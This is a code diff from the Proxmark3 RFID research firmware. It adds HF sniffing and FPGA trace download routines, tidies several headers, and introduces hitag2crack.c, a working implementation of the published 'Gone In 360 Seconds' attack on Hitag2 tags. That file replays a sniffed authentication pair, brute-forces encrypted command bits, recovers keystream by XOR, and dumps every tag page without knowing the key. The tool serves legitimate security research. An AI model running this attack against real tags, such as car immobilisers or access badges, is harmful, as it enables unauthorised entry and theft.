static void RAMFUNC optimizedSniff(void);
#include "fpga.h"
#include "appmain.h"
#include "cmd.h"
static void RAMFUNC optimizedSniff(void) {
int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory
@ -77,3 +89,42 @@ void HfSniff(int samplesToSkip, int triggersToSkip) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LED_D_OFF();
}
void HfPlotDownload(void) {
uint8_t *buf = ToSend;
uint8_t *this_buf = buf;
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
FpgaSetupSsc();
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address
AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples
buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM
LED_B_ON();
for (size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) {
// prepare next DMA transfer:
uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE));
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf;
AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE;
size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE);
while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete
reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len);
this_buf = next_buf;
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
// Trigger a finish downloading signal with an ACK frame
reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0);
LED_B_OFF();
}

17
armsrc/hfsnoop.h Normal file
View file

@ -0,0 +1,17 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
// Piwi, Feb 2019
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __HFSNOOP_H
#define __HFSNOOP_H
void HfSniff(int, int);
void HfPlotDownload(void);
#endif

File diff suppressed because it is too large Load diff

View file

@ -11,12 +11,11 @@
#ifndef _HITAG2_H_
#define _HITAG2_H_
#include <stdint.h>
#include <stdbool.h>
#include "common.h"
#include "hitag.h"
void SniffHitag(void);
void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data);
void SniffHitag2(void);
void SimulateHitag2(bool tag_mem_supplied, uint8_t *data);
void ReaderHitag(hitag_function htf, hitag_data *htd);
void WriterHitag(hitag_function htf, hitag_data *htd, int page);

View file

@ -11,6 +11,9 @@
//-----------------------------------------------------------------------------
#include "hitag2_crypto.h"
#include "util.h"
#include "string.h"
/* Following is a modified version of cryptolib.com/ciphers/hitag2/ */
// Software optimized 48-bit Philips/NXP Mifare Hitag2 PCF7936/46/47/52 stream cipher algorithm by I.C. Wiener 2006-2007.
// For educational purposes only.

View file

@ -1,12 +1,7 @@
#ifndef __HITAG2_CRYPTO_H
#define __HITAG2_CRYPTO_H
#ifdef __cplusplus
extern "C" {
#endif
#include "string.h"
#include "util.h"
#include "common.h"
struct hitag2_tag {
uint32_t uid;
@ -29,8 +24,5 @@ uint32_t _hitag2_byte(uint64_t *x);
void hitag2_cipher_reset(struct hitag2_tag *tag, const uint8_t *iv);
int hitag2_cipher_authenticate(uint64_t *cs, const uint8_t *authenticator_is);
int hitag2_cipher_transcrypt(uint64_t *cs, uint8_t *data, uint16_t bytes, uint16_t bits) ;
#ifdef __cplusplus
}
#endif
#endif

833
armsrc/hitag2crack.c Normal file
View file

@ -0,0 +1,833 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//
// iceman, Jan, 2020
// doegox, Jan, 2020
//-----------------------------------------------------------------------------
// hitag2 attack functions
//-----------------------------------------------------------------------------
#include "hitag2_crypto.h"
#include "hitag2crack.h"
#define READP0CMD "1100000111"
#define ERROR_RESPONSE "F402889C"
extern const uint8_t Hitag2Sync[5];
extern bool CryptoActive;
extern Hitag_State Hitag_Crypto_State;
// hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the
// cracked tag;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
uint8_t e_page0cmd[10];
uint8_t keybits[42];
uint8_t pagehex[9];
uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
// get uid as hexstring
if (!hitag2_get_uid(uidhex)) {
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr) {
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32) {
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// empty the response string
response[0] = 0x00;
// read all pages using key stream
for (i = 0; i < 8; i++) {
if (hitag2crack_read_page(pagehex, i, nrar, keybits)) {
sprintf(temp, "%1d: %s\r\n", i, pagehex);
} else {
sprintf(temp, "%1d:\r\n", i);
}
// add page string to response
strcat(response, temp);
}
return true;
}
// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
// with a different sequential encrypted command value in order to find one
// that returns a valid response.
// e_cmd is the returned binarray of the valid encrypted command;
// nrar is the binarray of the 64 bit nR aR pair.
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) {
uint8_t guess[10];
uint8_t responsestr[9];
// UserMessage("Finding valid encrypted command:");
// we're going to hold bits 5, 7, 8 and 9 and brute force the rest
// e.g. x x x x x 0 x 0 0 0
for (uint8_t a = 0; a < 2; a++) {
for (uint8_t b = 0; b < 2; b++) {
for (uint8_t c = 0; c < 2; c++) {
for (uint8_t d = 0; d < 2; d++) {
for (uint8_t e = 0; e < 2; e++) {
for (uint8_t g = 0; g < 2; g++) {
// build binarray
guess[0] = a;
guess[1] = b;
guess[2] = c;
guess[3] = d;
guess[4] = e;
guess[5] = 0;
guess[6] = g;
guess[7] = 0;
guess[8] = 0;
guess[9] = 0;
// send guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
// return the guess as the encrypted command
memcpy(e_cmd, guess, 10);
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
}
}
// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
return false;
}
// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
// valid encrypted command and tests the results by attempting an extended
// command version of the command to see if that produces a valid response.
// keybits is the returned binarray of the recovered key stream;
// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
// e_firstcmd is the binarray of the first valid encrypted command found;
// nrar is the binarray of the 64 bit nR aR pair;
// uid is the binarray of the 32 bit UID.
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) {
uint8_t a, b, c, d;
uint8_t guess[10];
uint8_t responsestr[9];
uint8_t e_uid[32];
UserMessage("Finding 'read page 0' command:");
// we're going to brute the missing 4 bits of the valid encrypted command
for (a = 0; a < 2; a++) {
for (b = 0; b < 2; b++) {
for (c = 0; c < 2; c++) {
for (d = 0; d < 2; d++) {
// create our guess by bit flipping the pattern of bits
// representing the inverted bit and the 3 page bits
// in both the non-inverted and inverted parts of the
// encrypted command.
memcpy(guess, e_firstcmd, 10);
if (a) {
guess[5] = !guess[5];
guess[0] = !guess[0];
}
if (b) {
guess[7] = !guess[7];
guess[2] = !guess[2];
}
if (c) {
guess[8] = !guess[8];
guess[3] = !guess[3];
}
if (d) {
guess[9] = !guess[9];
guess[4] = !guess[4];
}
// try the guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
// convert response to binarray
hextobinarray(e_uid, responsestr);
// test if the guess was 'read page 0' command
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
#endif
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
return false;
}
// hitag2crack_test_e_p0cmd XORs the message (command + response) with the
// encrypted version to retrieve the key stream. It then uses this key stream
// to encrypt an extended version of the READP0CMD and tests if the response
// is valid.
// keybits is the returned binarray of the key stream;
// nrar is the 64 bit binarray of nR aR pair;
// e_cmd is the binarray of the encrypted command;
// uid is the binarray of the card UID;
// e_uid is the binarray of the encrypted version of the UID.
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
uint8_t cipherbits[42];
uint8_t plainbits[42];
uint8_t ext_cmd[40];
uint8_t e_ext_cmd[40];
uint8_t responsestr[9];
int i;
// copy encrypted cmd to cipherbits
memcpy(cipherbits, e_cmd, 10);
// copy encrypted uid to cipherbits
memcpy(cipherbits + 10, e_uid, 32);
// copy cmd to plainbits
binstringtobinarray(plainbits, READP0CMD);
// copy uid to plainbits
memcpy(plainbits + 10, uid, 32);
// xor the plainbits with the cipherbits to get keybits
hitag2crack_xor(keybits, plainbits, cipherbits, 42);
// create extended cmd -> 4 * READP0CMD = 40 bits
for (i = 0; i < 4; i++) {
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
// send extended encrypted cmd
if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) {
// test if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
return false;
}
// hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len.
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) {
for (int i = 0; i < len; i++) {
target[i] = source[i] ^ pad[i];
}
}
// hitag2crack_read_page uses the supplied key stream and nrar pair to read the
// given page, returning the response as a hexstring.
// responsestr is the returned hexstring;
// pagenum is the page number to read;
// nrar is the 64 bit binarray of the nR aR pair;
// keybits is the binarray of the key stream.
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {
uint8_t cmd[10];
uint8_t e_cmd[10];
uint8_t e_responsestr[9];
uint8_t e_response[32];
uint8_t response[32];
int i;
if (pagenum > 7) {
UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
return false;
}
// create cmd
binstringtobinarray(cmd, READP0CMD);
if (pagenum & 0x1) {
cmd[9] = !cmd[9];
cmd[4] = !cmd[4];
}
if (pagenum & 0x2) {
cmd[8] = !cmd[8];
cmd[3] = !cmd[3];
}
if (pagenum & 0x4) {
cmd[7] = !cmd[7];
cmd[2] = !cmd[2];
}
// encrypt command
hitag2crack_xor(e_cmd, cmd, keybits, 10);
// send encrypted command
if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) {
// check if it is valid
if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) {
// convert to binarray
hextobinarray(e_response, e_responsestr);
// decrypt response
hitag2crack_xor(response, e_response, keybits + 10, 32);
// convert to hexstring
binarraytohex(responsestr, response, 32);
return true;
} else {
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
}
} else {
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
}
return false;
}
// hitag2crack_send_e_cmd replays the auth and sends the given encrypted
// command.
// responsestr is the hexstring of the response to the command;
// nrar is the 64 bit binarray of the nR aR pair;
// cmd is the binarray of the encrypted command to send;
// len is the length of the encrypted command.
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) {
// uint8_t tmp[37];
uint8_t uid[9];
uint8_t e_page3str[9];
int ret = 0;
// get the UID
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
return false;
}
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
#endif
return false;
}
return true;
}
// hitag2crack_tx_rx transmits a message and receives a response.
// responsestr is the hexstring of the response;
// msg is the binarray of the message to send;
// state is the RWD state;
// reset indicates whether to reset RWD state after.
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) {
uint8_t tmp[37];
int ret = 0;
// START_AUTH kills active crypto session
CryptoActive = false;
if (!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) {
UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
return false;
}
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits = 1;
ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
// check if response was a valid length (5 sync bits + 32 bits response)
if (ret == 37) {
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0) {
UserMessage("hitag2crack_tx_rx: no sync\r\n");
return false;
}
// convert response to hexstring
binarraytohex(responsestr, tmp + 5, 32);
return true;
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
#endif
return false;
}
return false;
}
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) {
uint64_t sharedkey;
uint32_t serialnum;
uint32_t initvector;
uint8_t *spaceptr;
uint8_t *dataptr;
// extract vals from input
dataptr = input;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr) {
UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 12) {
UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
return false;
}
sharedkey = rev64(hexreversetoulonglong(dataptr));
dataptr = spaceptr + 1;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr) {
UserMessage("/r/nno UID\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 8) {
UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
return false;
}
serialnum = rev32(hexreversetoulong(dataptr));
dataptr = spaceptr + 1;
if (strlen(dataptr) != 8) {
UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
return false;
}
initvector = rev32(hexreversetoulong(dataptr));
// start up crypto engine
hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
strcpy(response, "Success\r\n");
return true;
}
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) {
uint8_t bin[32];
uint8_t binhex[9];
uint8_t binstr[33];
uint32_t binulong;
if (strlen(hex) != 8) {
UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
return false;
}
binulong = hextoulong(hex);
ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
binarraytobinstring(binstr, bin, 32);
binarraytohex(binhex, bin, 32);
// UserMessage("ar = %s\r\n", binstr);
// UserMessage("arhex = %s\r\n", binhex);
strcpy(response, binhex);
return true;
}
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) {
uint8_t bin[32];
uint8_t e_bin[32];
uint8_t binstr[33];
uint32_t binulong;
int len;
len = strlen(e_binstr);
if (len > 32) {
UserMessage("\r\nbinary string must be <= 32 bits\r\n");
return false;
}
binstringtobinarray(e_bin, e_binstr);
binulong = binarraytoulong(e_bin, len);
ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
binarraytobinstring(binstr, bin, len);
strcpy(response, binstr);
return true;
}
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) {
// XOR pad so encrypt == decrypt :)
return hitag2crack_decrypt_hex(response, hex);
}
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) {
return hitag2crack_decrypt_bin(response, e_binstr);
}
// hitag2_keystream uses the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
// of keystream.
// response is a multi-line text response containing the hex of the keystream;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
// uint8_t e_page0cmd[10];
// uint8_t keybits[2080];
uint8_t *keybits = DataBuff;
uint8_t keybitshex[67];
int kslen;
int ksoffset;
// uint8_t pagehex[9];
// uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
/*
keybits = malloc(2080);
if (!keybits) {
UserMessage("cannot malloc keybits\r\n");
return false;
}
*/
// get uid as hexstring
if (!hitag2_get_uid(uidhex)) {
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr) {
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32) {
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// using the 40 bits of keystream in keybits, sending commands with ever
// increasing lengths to acquire 2048 bits of key stream.
kslen = 40;
while (kslen < 2048) {
ksoffset = 0;
if (!hitag2crack_send_auth(nrar)) {
UserMessage("hitag2crack_send_auth failed\r\n");
return false;
}
// while we have at least 52 bits of keystream, consume it with
// extended read page 0 commands. 52 = 10 (min command len) +
// 32 (response) + 10 (min command len we'll send)
while ((kslen - ksoffset) >= 52) {
// consume the keystream, updating ksoffset as we go
if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) {
UserMessage("hitag2crack_consume_keystream failed\r\n");
return false;
}
}
// send an extended command to retrieve more keystream, updating kslen
// as we go
if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) {
UserMessage("hitag2crack_extend_keystream failed\r\n");
return false;
}
UserMessage("Recovered %d bits of keystream\r\n", kslen);
}
for (i = 0; i < 2048; i += 256) {
binarraytohex(keybitshex, keybits + i, 256);
UserMessage("%s\r\n", keybitshex);
}
response[0] = 0x00;
return true;
}
// hitag2crack_send_auth replays the auth and returns.
// nrar is the 64 bit binarray of the nR aR pair;
bool hitag2crack_send_auth(uint8_t *nrar) {
uint8_t uid[9];
uint8_t e_page3str[9];
// get the UID
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
return false;
}
return true;
}
// hitag2crack_consume_keystream sends an extended command (up to 510 bits in
// length) to consume keystream.
// keybits is the binarray of keystream bits;
// kslen is the length of keystream;
// ksoffset is a pointer to the current keystream offset (updated by this fn);
// nrar is the 64 bit binarray of the nR aR pair.
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) {
int conlen;
int numcmds;
int i;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
// calculate the length of keybits to consume with the extended command.
// 42 = 32 bit response + 10 bit command reserved for next command. conlen
// cannot be longer than 510 bits to fit into the small RWD buffer.
conlen = kslen - *ksoffset - 42;
if (conlen < 10) {
UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
return false;
}
// sanitise conlen
if (conlen > 510) {
conlen = 510;
}
// calculate how many repeated commands to send in this extended command.
numcmds = conlen / 10;
// build extended command
for (i = 0; i < numcmds; i++) {
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
return false;
}
// dont bother decrypting the response - we already know the keybits
// update ksoffset with command length and response
*ksoffset += (numcmds * 10) + 32;
}
// hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
// keybits is the binarray of the keystream bits;
// kslen is a pointer to the current keybits length;
// ksoffset is the offset into the keybits array;
// nrar is the 64 bit binarray of the nR aR pair;
// uid is the 32 bit binarray of the UID.
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
int cmdlen;
int numcmds;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
uint8_t e_response[32];
int i;
// calc number of command iterations to send
cmdlen = *kslen - ksoffset;
if (cmdlen < 10) {
UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
return false;
}
numcmds = cmdlen / 10;
// build extended command
for (i = 0; i < numcmds; i++) {
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);
// send extended encrypted cmd
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
return false;
}
// convert response to binarray
hextobinarray(e_response, responsestr);
// recover keystream from encrypted response
hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);
// update kslen
*kslen = ksoffset + (numcmds * 10) + 32;
return true;
}
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) {
uint8_t tmp[9];
int i;
response[0] = '\0';
// auth to tag
if (hitag2_crypto_auth(tmp, key)) {
// read tag, one page at a time
for (i = 0; i <= 7; ++i) {
if (!read_tag(tmp, i, i)) {
// if read fails, it could be because of auth,
// so try to reauth
if (!hitag2_crypto_auth(tmp, key)) {
// if we can't reauth, it's a real failure
return false;
}
// temp failure (probably due to page protections)
strcpy(tmp, "XXXXXXXX");
}
// page contents are in tmp
strcat(response, tmp);
}
if (interactive) {
tmp[8] = '\0';
for (i = 0; i <= 7 ; ++i) {
UserMessageNum("%d: ", i);
memcpy(tmp, response + (i * 8), 8);
UserMessage("%s\r\n", tmp);
}
UserMessage("%s", "\r\n");
} else {
hitag2_nvm_store_tag(response);
}
return true;
} else {
return false;
}
}

31
armsrc/hitag2crack.h Normal file
View file

@ -0,0 +1,31 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions hitag2 attack functions
//-----------------------------------------------------------------------------
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]);
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]);
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid);
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len);
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits);
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len);
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset);
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input);
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr);
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr);
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_send_auth(uint8_t *nrar);
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar);
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid);
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive);

File diff suppressed because it is too large Load diff

View file

@ -12,16 +12,9 @@
#ifndef _HITAGS_H_
#define _HITAGS_H_
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include "hitag2_crypto.h"
#include "common.h"
#include "hitag.h"
#include "proxmark3.h"
#include "apps.h"
#include "util.h"
#include "string.h"
#include "BigBuf.h"
void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data);
void ReadHitagS(hitag_function htf, hitag_data *htd);

View file

@ -10,6 +10,14 @@
//-----------------------------------------------------------------------------
#include "i2c.h"
#include "proxmark3_arm.h"
#include "cmd.h"
#include "BigBuf.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "string.h"
#define GPIO_RST AT91C_PIO_PA1
#define GPIO_SCL AT91C_PIO_PA5
#define GPIO_SDA AT91C_PIO_PA7
@ -26,7 +34,7 @@
volatile unsigned long c;
// Direct use the loop to delay. 6 instructions loop, Masterclock 48Mhz,
// Direct use the loop to delay. 6 instructions loop, Masterclock 48MHz,
// delay=1 is about 200kbps
// timer.
// I2CSpinDelayClk(4) = 12.31us
@ -41,7 +49,7 @@ void __attribute__((optimize("O0"))) I2CSpinDelayClk(uint16_t delay) {
#define ISO7618_MAX_FRAME 255
// try i2c bus recovery at 100kHz = 5uS high, 5uS low
// try i2c bus recovery at 100kHz = 5us high, 5us low
void I2C_recovery(void) {
DbpString("Performing i2c bus recovery");
@ -701,7 +709,7 @@ void SmartCardAtr(void) {
